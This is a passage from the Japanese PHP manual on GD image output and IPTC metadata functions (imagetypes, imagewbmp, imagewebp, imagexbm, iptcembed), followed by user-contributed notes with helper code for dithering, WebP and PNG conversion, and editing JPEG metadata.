Remember!!!

When uploading a font to your website you have to set the transfer mode to binary. It took me some time to find out :P. Tried to download the font from my website and it was spoiled.

In your script, the path to your font, use realpath("arial.ttf") so there is no confusion about that.
pillepop2003 at nospam dot yahoo dot de 12-Jan-2005 05:14
Hey guys,

check this function if you want to rotate the text around its center and not its "lower left" pivot-point:

<?php
        // Put center-rotated ttf-text into image
        // Same signature as imagettftext();
        function imagettftext_cr(&$im, $size, $angle, $x, $y, $color, $fontfile, $text)
        {
            // retrieve boundingbox
            $bbox = imagettfbbox($size, $angle, $fontfile, $text);

            // calculate deviation
            $dx = ($bbox[2]-$bbox[0])/2.0 - ($bbox[2]-$bbox[4])/2.0;         // deviation left-right
            $dy = ($bbox[3]-$bbox[1])/2.0 + ($bbox[7]-$bbox[1])/2.0;        // deviation top-bottom

            // new pivotpoint
            $px = $x-$dx;
            $py = $y-$dy;

            return imagettftext($im, $size, $angle, $px, $py, $color, $fontfile, $text);
        }

?>

Big up
Phil
plusplus7 at hotmail dot com 15-Jul-2004 01:37
If you are getting all rectangles instead of text, it may well mean that your ttf font is not opentype, particularly if it is an older freeware one. This requirement didn't exist in older versions so you may find that your font stops working after you upgrade. To fix this problem, try downloading the free MS Volt utility. From there, open your font file, and then click on Compile, and resave.


この PHP がサポートしている画像形式を返す

  • ≪ imagettftext
  • imagewbmp ≫
  • PHP Manual
  • GD および Image 関数
  • この PHP がサポートしている画像形式を返す

imagetypes

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

imagetypes — この PHP がサポートしている画像形式を返す

説明

imagetypes ( ) : int

現在使用している PHP がサポートする画像形式を返します。

返り値

画像形式に対応するビットフィールドで、 PHP に組み込まれている GD がサポートする画像形式を返します。 返されるビットは次のとおりです。 IMG_BMP | IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP | IMG_XPM | IMG_WEBP。

例

例1 PNG をサポートしているかどうかの確認

<?php
if (imagetypes() & IMG_PNG) {
    echo "PNG をサポートしています";
}
?>

変更履歴

バージョン | 説明
7.2.0 | IMG_BMP が追加されました。
7.0.10 | IMG_WEBP が追加されました。

参考

  • gd_info() - 現在インストールされているGDライブラリに関する情報を取得する

User Contributed Notes

ThunderCrew 30-Jul-2007 07:38
Im not a smart man but this seemd to be the simplest code and it worked.
Its at the very top of this directory.

<?php
var_dump(gd_info());
?>

Returned image info and more.

array(11) { ["GD Version"]=> string(27) "bundled (2.0.28 compatible)" ["FreeType Support"]=> bool(true) ["FreeType Linkage"]=> string(13) "with freetype" ["T1Lib Support"]=> bool(false) ["GIF Read Support"]=> bool(true) ["GIF Create Support"]=> bool(true) ["JPG Support"]=> bool(true) ["PNG Support"]=> bool(true) ["WBMP Support"]=> bool(true) ["XBM Support"]=> bool(true) ["JIS-mapped Japanese Font Support"]=> bool(false) }


画像をブラウザあるいはファイルに出力する

  • ≪ imagetypes
  • imagewebp ≫
  • PHP Manual
  • GD および Image 関数
  • 画像をブラウザあるいはファイルに出力する

imagewbmp

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagewbmp — 画像をブラウザあるいはファイルに出力する

説明

imagewbmp ( resource $image , mixed $to = null , int $foreground = ? ) : bool

imagewbmp() は、指定した image を WBMP にして出力あるいは保存します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

to

ファイル保存先のパスあるいはオープン中のリソース (この関数が値を戻した後で自動的にクローズされます)。省略したり null を設定したりした場合は、画像ストリームを直接出力します。

foreground

このパラメータで、 前景の色を指定できます。imagecolorallocate() で 取得した ID を使用してください。デフォルトの前景色は黒です。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

例1 WBMP 画像の出力

<?php
// 空の画像を作成してテキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// content type ヘッダを設定します - ここでは image/vnd.wap.wbmp
// ヒント: image_type_to_mime_type() で content-types を取得します
header('Content-Type: image/vnd.wap.wbmp');

// 画像を出力します
imagewbmp($im);

// メモリを開放します
imagedestroy($im);
?>

例2 WBMP 画像の保存

<?php
// 空の画像を作成してテキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// 画像を保存します
imagewbmp($im, 'simpletext.wbmp');

// メモリを開放します
imagedestroy($im);
?>

例3 別の前景での画像の出力

<?php
// 空の画像を作成してテキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// content type ヘッダを設定します - ここでは image/vnd.wap.wbmp
// ヒント: image_type_to_mime_type() で content-types を取得します
header('Content-Type: image/vnd.wap.wbmp');

// 別の前景色を設定します
$foreground_color = imagecolorallocate($im, 255, 0, 0);

imagewbmp($im, NULL, $foreground_color);

// メモリを開放します
imagedestroy($im);
?>

参考

  • image2wbmp() - 画像をブラウザあるいはファイルに出力する
  • imagepng() - PNG イメージをブラウザまたはファイルに出力する
  • imagegif() - 画像をブラウザあるいはファイルに出力する
  • imagejpeg() - 画像をブラウザあるいはファイルに出力する
  • imagetypes() - この PHP がサポートしている画像形式を返す

User Contributed Notes

andre at bynetworld dot com 19-Dec-2007 05:31
In the previous note by -> lukeross at sys3175 dot co dot uk <- there is a coding error in the for() loops. After correcting the error, I found that this function did a great job of  converting color images to 2 colors.
The following is the corrected function code:

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $isx = ImageSX($src_img);
    $isy = ImageSY($src_img);
    $grey_img = ImageCreate($isx, $isy);
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    $isx -= 1; // To correct pixel count in source image width starting from 0
    $isy -= 1; // Correcting pixel count in source image height starting from 0
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != $isx) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != $isx && $y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}
lukeross at sys3175 dot co dot uk 28-Feb-2002 01:57
As has been commented before, GD doesnt do a very good translation to 2-colours, especially for photos.  The following routine converts to two colours, I believe using error diffusion (the algorithm's nicked off news).  It's slow, but just about adequate for small images and low load.  I suspect it can be made much more efficient :-)

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $grey_img = ImageCreate(ImageSX($src_img), ImageSY($src_img));
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != ImageSx($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != ImageSx($src_img) && $y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}

To output your WBMP, use

ImageWBMP($final_img, "", ImageColorClosest(255,255,255));


WebP 画像をブラウザあるいはファイルに出力する

  • ≪ imagewbmp
  • imagexbm ≫
  • PHP Manual
  • GD および Image 関数
  • WebP 画像をブラウザあるいはファイルに出力する

imagewebp

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

imagewebp — WebP 画像をブラウザあるいはファイルに出力する

説明

imagewebp ( resource $image , mixed $to = null , int $quality = 80 ) : bool

指定した image を、WebP 形式で出力あるいは保存します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

to

ファイル保存先のパスあるいはオープン中のリソース (この関数が値を戻した後で自動的にクローズされます)。省略したり null を設定したりした場合は、画像ストリームを直接出力します。

quality

quality には、0 (品質は最低で、 ファイルサイズが小さくなる) から 100 (品質が最高で、ファイルサイズは大きくなる) までの値を指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

例1 WebP ファイルの保存

<?php
// 空の画像を作成し、テキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);

imagestring($im, 1, 5, 5,  'WebP with PHP', $text_color);

// 画像を保存します
imagewebp($im, 'php.webp');

// メモリを解放します
imagedestroy($im);
?>

User Contributed Notes

vinicius dot sizilio at gmail dot com 18-Apr-2020 01:07
To convert a PNG image to Webp, we can do this:

<?php

// Image
$dir = 'img/countries/';
$name = 'brazil.png';
$newName = 'brazil.webp';

// Create and save
$img = imagecreatefrompng($dir . $name);
imagepalettetotruecolor($img);
imagealphablending($img, true);
imagesavealpha($img, true);
imagewebp($img, $dir . $newName, 100);
imagedestroy($img);

?>
day4gerard 14-Nov-2019 07:14
WebP is not yet supported by Safari, although they are experimenting with it.

Check out https://caniuse.com/#search=webp for the latest support information.
Khalyomede 01-Feb-2019 07:24
As of today (end of january 2019), WebP is now supported across all the major browsers (Edge, Chrome, Firefox, Opera).
mauro dot ludovico dot colella at gmail dot com 12-Feb-2015 06:41
It is also possible to defer the creation of png replacements for WebP images to the client, with notably the library libwebpjs enabling transparent conversion.
orangefish at sogetthis dot com 25-Jun-2013 11:32
WebP is a great file format, but it's basically supported only by Chrome. For WebP files with transparency it's necessary to have PNG fallback for other browsers (otherwise it won't work in iOS, Firefox, IE, etc.).

Regular truecolor PNG with alpha gives pretty large files, but there's a special smaller PNG file variant that can be created by pngquant - a command line utility.

If you have pngquant 1.8 on your server (just get package from official pngquant website), then you can create small fallback images (with quality better than from PHP's libgd):

<?php

/**
 * Optimizes PNG file with pngquant 1.8 or later (reduces file size of 24-bit/32-bit PNG images).
 *
 * You need to install pngquant 1.8.x on the server (ancient version 1.0 won't work).
 * There's package for Debian/Ubuntu and RPM for other distributions on http://pngquant.org
 *
 * @param $path_to_png_file string - path to any PNG file, e.g. $_FILE['file']['tmp_name']
 * @param $max_quality int - conversion quality, useful values from 60 to 100 (smaller number = smaller file)
 * @return string - content of PNG file after conversion
 */
function compress_png($path_to_png_file, $max_quality = 90)
{
    if (!file_exists($path_to_png_file)) {
        throw new Exception("File does not exist: $path_to_png_file");
    }

    // guarantee that quality won't be worse than that.
    $min_quality = 60;

    // '-' makes it use stdout, required to save to $compressed_png_content variable
    // '<' makes it read from the given file path
    // escapeshellarg() makes this safe to use with any path
    $compressed_png_content = shell_exec("pngquant --quality=$min_quality-$max_quality - < ".escapeshellarg(    $path_to_png_file));

    if (!$compressed_png_content) {
        throw new Exception("Conversion to compressed PNG failed. Is pngquant 1.8+ installed on the server?");
    }

    return $compressed_png_content;
}
?>

So for example when user is uploading a PNG file:

<?php

$read_from_path = $_FILE['file']['tmp_name'];
$save_to_path = "uploads/compressed_file.png";

$compressed_png_content = compress_png($read_from_path);
file_put_contents($save_to_path, $compressed_png_content);

// you don't need move_uploaded_file().

// and for webp:
imagewebp(imagecreatefrompng($read_from_path), $save_to_path + ".webp");
?>

And then you can use URL with .webp version in Chrome and browsers that send Accept: image/webp, and .png for the rest (and all will get small file!)


XBM 画像をブラウザあるいはファイルに出力する

  • ≪ imagewebp
  • iptcembed ≫
  • PHP Manual
  • GD および Image 関数
  • XBM 画像をブラウザあるいはファイルに出力する

imagexbm

(PHP 5, PHP 7, PHP 8)

imagexbm — XBM 画像をブラウザあるいはファイルに出力する

説明

imagexbm ( resource $image , mixed $filename , int $foreground = ? ) : bool

imagewbmp() は、指定した image を XBM にして出力あるいは保存します。

注意: imagexbm() はパディングを一切行わないので、 画像の幅は 8 の倍数でなければいけません。 PHP 7.0.9 以降では、この制約がなくなりました。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

filename

画像の保存先のパスを文字列で指定します。null を設定した場合は、画像ストリームを直接出力します。

filename (拡張子 .xbm を除いた部分) は、XBM の C 識別子としても用いられます。 そのため、現在のロケールで扱える英数字以外の文字は、アンダースコアに置き換えられます。 filename を null にすると、 image を使って C 識別子を作ります。

foreground

このパラメータで、 前景の色を指定できます。imagecolorallocate() で 取得した ID を使用してください。デフォルトの前景色は黒です。 その他の色はすべて、背景色として扱われます。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

変更履歴

バージョン | 説明
8.0.0 | 使われていなかった第4引数は削除されました。

例

例1 XBM ファイルの保存

<?php
// 空の画像を作成してテキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// 画像を保存します
imagexbm($im, 'simpletext.xbm');

// メモリを開放します
imagedestroy($im);
?>

例2 別の前景色による XBM ファイルの保存

<?php
// 空の画像を作成してテキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// 別の前景色を設定します
$foreground_color = imagecolorallocate($im, 255, 0, 0);

// 画像を保存します
imagexbm($im, NULL, $foreground_color);

// メモリを開放します
imagedestroy($im);
?>

注意

User Contributed Notes

There are no user contributed notes for this page.


バイナリ IPTC データを JPEG イメージに埋めこむ

  • ≪ imagexbm
  • iptcparse ≫
  • PHP Manual
  • GD および Image 関数
  • バイナリ IPTC データを JPEG イメージに埋めこむ

iptcembed

(PHP 4, PHP 5, PHP 7, PHP 8)

iptcembed — バイナリ IPTC データを JPEG イメージに埋めこむ

説明

iptcembed ( string $iptc_data , string $filename , int $spool = 0 ) : string|bool

バイナリ IPTC データを JPEG イメージに埋めこみます。

パラメータ

iptc_data

書き込むデータ。

filename

JPEG 画像へのパス。

spool

Spool フラグ。このフラグが 2 より小さい場合は、JPEG が文字列として返されます。そうでない場合は、JPEG を STDOUT に出力します。

返り値

成功し、かつ spool が 2 より小さい場合は、JPEG を返します。 失敗した場合に false を返します。spool が 2 以上の場合は、成功した場合に true を返します。 失敗した場合に false を返します。

例

例1 IPTC データの JPEG への埋め込み

<?php

// Thies C. Arntzen による iptc_make_tag() 関数
function iptc_make_tag($rec, $data, $value)
{
    $length = strlen($value);
    $retval = chr(0x1C) . chr($rec) . chr($data);

    if($length < 0x8000)
    {
        $retval .= chr($length >> 8) .  chr($length & 0xFF);
    }
    else
    {
        $retval .= chr(0x80) .
                   chr(0x04) .
                   chr(($length >> 24) & 0xFF) .
                   chr(($length >> 16) & 0xFF) .
                   chr(($length >> 8) & 0xFF) .
                   chr($length & 0xFF);
    }

    return $retval . $value;
}

// jpeg ファイルへのパス
$path = './phplogo.jpg';

// IPTC タグを設定します
$iptc = array(
    '2#120' => 'Test image',
    '2#116' => 'Copyright 2008-2009, The PHP Group'
);

// IPTC タグをバイナリコードに変換します
$data = '';

foreach($iptc as $tag => $string)
{
    $tag = substr($tag, 2);
    $data .= iptc_make_tag(2, $tag, $string);
}

// IPTC データを埋め込みます
$content = iptcembed($data, $path);

// 新しい画像データをファイルに書き込みます
$fp = fopen($path, "wb");
fwrite($fp, $content);
fclose($fp);
?>

注意

注意:

この関数は、GD 画像ライブラリを必要としません。

User Contributed Notes

ebashkoff at gmail dot com 12-Dec-2013 03:05
The following code embeds both IPTC APP segment 13 and EXIF APP segment 1 data from a source file and embeds it into a destination file.  This overcomes the limitation where the iptcembed statement does not seem to embed EXIF data, only IPTC data.

function transferIptcExif2File($srcfile, $destfile) {
    // Function transfers EXIF (APP1) and IPTC (APP13) from $srcfile and adds it to $destfile
    // JPEG file has format 0xFFD8 + [APP0] + [APP1] + ... [APP15] + <image data> where [APPi] are optional
    // Segment APPi (where i=0x0 to 0xF) has format 0xFFEi + 0xMM + 0xLL + <data> (where 0xMM is
    //   most significant 8 bits of (strlen(<data>) + 2) and 0xLL is the least significant 8 bits
    //   of (strlen(<data>) + 2)

    if (file_exists($srcfile) && file_exists($destfile)) {
        $srcsize = @getimagesize($srcfile, $imageinfo);
        // Prepare EXIF data bytes from source file
        $exifdata = (is_array($imageinfo) && key_exists("APP1", $imageinfo)) ? $imageinfo['APP1'] : null;
        if ($exifdata) {
            $exiflength = strlen($exifdata) + 2;
            if ($exiflength > 0xFFFF) return false;
            // Construct EXIF segment
            $exifdata = chr(0xFF) . chr(0xE1) . chr(($exiflength >> 8) & 0xFF) . chr($exiflength & 0xFF) . $exifdata;
        }
        // Prepare IPTC data bytes from source file
        $iptcdata = (is_array($imageinfo) && key_exists("APP13", $imageinfo)) ? $imageinfo['APP13'] : null;
        if ($iptcdata) {
            $iptclength = strlen($iptcdata) + 2;
            if ($iptclength > 0xFFFF) return false;
            // Construct IPTC segment
            $iptcdata = chr(0xFF) . chr(0xED) . chr(($iptclength >> 8) & 0xFF) . chr($iptclength & 0xFF) . $iptcdata;
        }
        $destfilecontent = @file_get_contents($destfile);
        if (!$destfilecontent) return false;
        if (strlen($destfilecontent) > 0) {
            $destfilecontent = substr($destfilecontent, 2);
            $portiontoadd = chr(0xFF) . chr(0xD8);          // Variable accumulates new & original IPTC application segments
            $exifadded = !$exifdata;
            $iptcadded = !$iptcdata;

            while ((substr($destfilecontent, 0, 2) & 0xFFF0) === 0xFFE0) {
                $segmentlen = (substr($destfilecontent, 2, 2) & 0xFFFF);
                $iptcsegmentnumber = (substr($destfilecontent, 1, 1) & 0x0F);   // Last 4 bits of second byte is IPTC segment #
                if ($segmentlen <= 2) return false;
                $thisexistingsegment = substr($destfilecontent, 0, $segmentlen + 2);
                if ((1 <= $iptcsegmentnumber) && (!$exifadded)) {
                    $portiontoadd .= $exifdata;
                    $exifadded = true;
                    if (1 === $iptcsegmentnumber) $thisexistingsegment = '';
                }
                if ((13 <= $iptcsegmentnumber) && (!$iptcadded)) {
                    $portiontoadd .= $iptcdata;
                    $iptcadded = true;
                    if (13 === $iptcsegmentnumber) $thisexistingsegment = '';
                }
                $portiontoadd .= $thisexistingsegment;
                $destfilecontent = substr($destfilecontent, $segmentlen + 2);
            }
            if (!$exifadded) $portiontoadd .= $exifdata;  //  Add EXIF data if not added already
            if (!$iptcadded) $portiontoadd .= $iptcdata;  //  Add IPTC data if not added already
            $outputfile = fopen($destfile, 'w');
            if ($outputfile) return fwrite($outputfile, $portiontoadd . $destfilecontent); else return false;
        } else {
            return false;
        }
    } else {
        return false;
    }
}
micheall at inthemdl dot net 29-May-2011 05:00
While using the class file noted below you'll notice setting an array of keywords with the set() function will not work.  Try this instead:
<?php
        function set($tag, $data) {
            if(is_array($data)){
                $c = count($data);
                for ($i=0; $i <$c; $i++){
                       $this->meta["2#$tag"][$i] = $data[$i];
                }
                $this->hasmeta=true;
            } else {
                $this->meta["2#$tag"]= Array( $data );
                $this->hasmeta=true;
            }
        }
?>
Jarek Milewski 22-Apr-2011 03:37
To remove all EXIF, XMP etc. tags from a jpeg file you need no resampling (which, by the way, may give you memory problems). It's just enough to recreate the image, presumably with 100% quality in order not to loose anything. The code is as simple as that:

<?php
    $img = imagecreatefromjpeg ($path);
    imagejpeg ($img, $path, 100);
    imagedestroy ($img);
?>
soporte at etic dot com dot mx 28-Mar-2011 06:50
I just found an error while trying to write several keywords (an array) with the binary function... please consider using the following:

<?php
function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                if(count($this->meta[$s])>1){
                    foreach ($this->meta[$s] as $row){
                        $iptc_new .= $this->iptc_maketag(2, $tag, $row);
                    }
                }else {
                    $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
                }
            }
            return $iptc_new;
        }
?>
Christoph Tavan 16-Dec-2010 03:30
For everybody having issues with unicode (UTF-8) text in IPTC fields, set the "Coded Character Set"-field in the envelop (1:90, see http://www.iptc.org/std/IIM/4.1/specification/IIMV4.1.pdf).

This can be accomplished by starting the $data-block with the following lines:

<?php
// These two lines ensure that UTF8-Encoding will work (set the 1:90 field in the envelop)
// @see http://cpanforum.com/threads/2114 for a hint
$utf8seq = chr(0x1b) . chr(0x25) . chr(0x47);
$length = strlen($utf8seq);
$data = chr(0x1C) . chr(1) . chr('090') . chr($length >> 8) . chr($length & 0xFF) . $utf8seq;
?>

After that you can continue like in the example:

<?php
foreach($iptc as $tag => $string)
{
    $tag = substr($tag, 2);
    $data .= iptc_make_tag(2, $tag, $string);
}
?>
critto at o2 dot pl 14-Jul-2010 06:25
If you want just to copy the IPTC data, eg. at the thumbnail creation, you don't have to parse the binary IPTC data into array and back; just do this:

<?php
$fullFilePath='photo1.jpg';
$fullPathThumb = 'photo1thumb.jpg';
$imagesize        =    getImageSize($fullFilePath, $info);
if(isset($info['APP13'])){
    $content    =    iptcembed($info['APP13'], $fullPathThumb);
   @unlink($fullPathThumb);
   $fw = fopen($fullPathThumb, 'w');
   fwrite($fw, $content);
   fclose($fw);
}
?>
support at image-host-script dot com 22-Sep-2008 11:39
A class I recently wrote for manipulating IPTC data in an jpeg images. It does the job for editing exisiting data too, in easy manner. It is just a compilation of examples into single class.

<?

    /************************************************************\

        IPTC EASY 1.0 - IPTC data manipulator for JPEG images

        All reserved www.image-host-script.com

        Sep 15, 2008

    \************************************************************/

    DEFINE('IPTC_OBJECT_NAME', '005');
    DEFINE('IPTC_EDIT_STATUS', '007');
    DEFINE('IPTC_PRIORITY', '010');
    DEFINE('IPTC_CATEGORY', '015');
    DEFINE('IPTC_SUPPLEMENTAL_CATEGORY', '020');
    DEFINE('IPTC_FIXTURE_IDENTIFIER', '022');
    DEFINE('IPTC_KEYWORDS', '025');
    DEFINE('IPTC_RELEASE_DATE', '030');
    DEFINE('IPTC_RELEASE_TIME', '035');
    DEFINE('IPTC_SPECIAL_INSTRUCTIONS', '040');
    DEFINE('IPTC_REFERENCE_SERVICE', '045');
    DEFINE('IPTC_REFERENCE_DATE', '047');
    DEFINE('IPTC_REFERENCE_NUMBER', '050');
    DEFINE('IPTC_CREATED_DATE', '055');
    DEFINE('IPTC_CREATED_TIME', '060');
    DEFINE('IPTC_ORIGINATING_PROGRAM', '065');
    DEFINE('IPTC_PROGRAM_VERSION', '070');
    DEFINE('IPTC_OBJECT_CYCLE', '075');
    DEFINE('IPTC_BYLINE', '080');
    DEFINE('IPTC_BYLINE_TITLE', '085');
    DEFINE('IPTC_CITY', '090');
    DEFINE('IPTC_PROVINCE_STATE', '095');
    DEFINE('IPTC_COUNTRY_CODE', '100');
    DEFINE('IPTC_COUNTRY', '101');
    DEFINE('IPTC_ORIGINAL_TRANSMISSION_REFERENCE',     '103');
    DEFINE('IPTC_HEADLINE', '105');
    DEFINE('IPTC_CREDIT', '110');
    DEFINE('IPTC_SOURCE', '115');
    DEFINE('IPTC_COPYRIGHT_STRING', '116');
    DEFINE('IPTC_CAPTION', '120');
    DEFINE('IPTC_LOCAL_CAPTION', '121');

    class iptc {
        var $meta=Array();
        var $hasmeta=false;
        var $file=false;

        function iptc($filename) {
            $size = getimagesize($filename,$info);
            $this->hasmeta = isset($info["APP13"]);
            if($this->hasmeta)
                $this->meta = iptcparse ($info["APP13"]);
            $this->file = $filename;
        }
        function set($tag, $data) {
            $this->meta ["2#$tag"]= Array( $data );
            $this->hasmeta=true;
        }
        function get($tag) {
            return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : false;
        }

        function dump() {
            print_r($this->meta);
        }
        function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
            }
            return $iptc_new;
        }
        function iptc_maketag($rec,$dat,$val) {
            $len = strlen($val);
            if ($len < 0x8000) {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr($len >> 8).
                   chr($len & 0xff).
                   $val;
            } else {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr(0x80).chr(0x04).
                   chr(($len >> 24) & 0xff).
                   chr(($len >> 16) & 0xff).
                   chr(($len >> 8 ) & 0xff).
                   chr(($len ) & 0xff).
                   $val;

            }
        }
        function write() {
            if(!function_exists('iptcembed')) return false;
            $mode = 0;
            $content = iptcembed($this->binary(), $this->file, $mode);
            $filename = $this->file;

            @unlink($filename); #delete if exists

            $fp = fopen($filename, "w");
            fwrite($fp, $content);
            fclose($fp);
        }

        #requires GD library installed
        function removeAllTags() {
            $this->hasmeta=false;
            $this->meta=Array();
            $img = imagecreatefromstring(implode(file($this->file)));
            @unlink($this->file); #delete if exists
            imagejpeg($img,$this->file,100);
        }
    };

?>

Example read copyright string:

$i = new iptc("test.jpg");
echo $i->get(IPTC_COPYRIGHT_STRING);

Update copyright statement:
$i = new iptc("test.jpg");
echo $i->set(IPTC_COPYRIGHT_STRING,"Here goes the new data");
$i->write();

NOTE1: Data may be anything, even a binary file. I have so far tested and embedded an MS-Excel file directly to jpeg and it worked just perfect.

NOTE2: The writing purpose, it uses GD Library.

Further imporvements / changes may be followed at www.image-host-script.com

I hope it helps.
Ali..
jb at ibbeck dot de 04-Oct-2007 07:40
If you have a file without any IPTC record, you can add a new, empty one by calling iptcembed with an empty string as first argument, like this:

$buffer = iptcembed("",$imagename,0);
$fp = fopen($imagename,"w");
fwrite($fp,$buffer);
fclose($fp);
Bryce Fisher 04-Jul-2007 09:55
In Thomas's wonderful code snippet below, the second parameter needs to be changed to "$filename", otherwise the script has no write the file. So the code should read:

<?php
//This function removes all header data from a JPG
function remove_XMP($image_in, $filename) {
  $filename_in = addslashes($image_in);
  list($width, $height) = getimagesize($filename_in);
  $image_dest = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($filename_in);
  imagecopyresampled($image_dest, $image, 0, 0, 0, 0,  $width, $height,$width, $height);
  imagejpeg($image_dest, $filename);
}
?>
muguran 13-May-2005 01:41
Pay attention not add codes with length of value equal to 0; the behavior could be strange...
(e.g. $iptc_old["2#015"][0] = "")
evan at nospam dot ozhiker dot com 09-Aug-2004 09:53
You might have noticed that several metadata fields in Photoshop are not available via IPTC.
Also, Photoshop now uses XMP for it's primary metadata, meaning IPTC is only read by Photoshop if XMP is not present.

